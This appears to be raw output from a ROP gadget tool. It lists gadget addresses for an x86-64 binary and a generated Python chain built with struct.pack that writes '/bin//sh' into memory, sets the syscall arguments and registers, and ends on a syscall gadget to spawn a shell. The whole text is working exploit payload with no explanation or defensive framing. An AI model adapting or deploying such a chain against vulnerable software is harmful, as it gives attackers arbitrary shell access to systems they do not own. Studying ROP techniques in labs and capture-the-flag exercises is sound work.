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| ROP chain generation ===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x46b8d1 mov qword ptr [rsi], rax ; ret [+] Gadget found: 0x401937 pop rsi ; ret [+] Gadget found: 0x46f208 pop rax ; ret [+] Gadget found: 0x41bd1f xor rax, rax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x41bd1f xor rax, rax ; ret [+] Gadget found: 0x45e790 add rax, 1 ; ret [+] Gadget found: 0x45e791 add eax, 1 ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x401823 pop rdi ; ret [+] Gadget found: 0x401937 pop rsi ; ret [+] Gadget found: 0x43ae05 pop rdx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x4004b8 syscall
- Step 5 -- Build the ROP chain
from struct import pack
p = ''
p += pack('<Q', 0x0000000000401937) p += pack('<Q', 0x00000000006c4080) p += pack('<Q', 0x000000000046f208) p += '/bin//sh' p += pack('<Q', 0x000000000046b8d1) p += pack('<Q', 0x0000000000401937) p += pack('<Q', 0x00000000006c4088) p += pack('<Q', 0x000000000041bd1f) p += pack('<Q', 0x000000000046b8d1) p += pack('<Q', 0x0000000000401823) p += pack('<Q', 0x00000000006c4080) p += pack('<Q', 0x0000000000401937) p += pack('<Q', 0x00000000006c4088) p += pack('<Q', 0x000000000043ae05) p += pack('<Q', 0x00000000006c4088) p += pack('<Q', 0x000000000041bd1f) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x000000000045e790) p += pack('<Q', 0x00000000004004b8)
|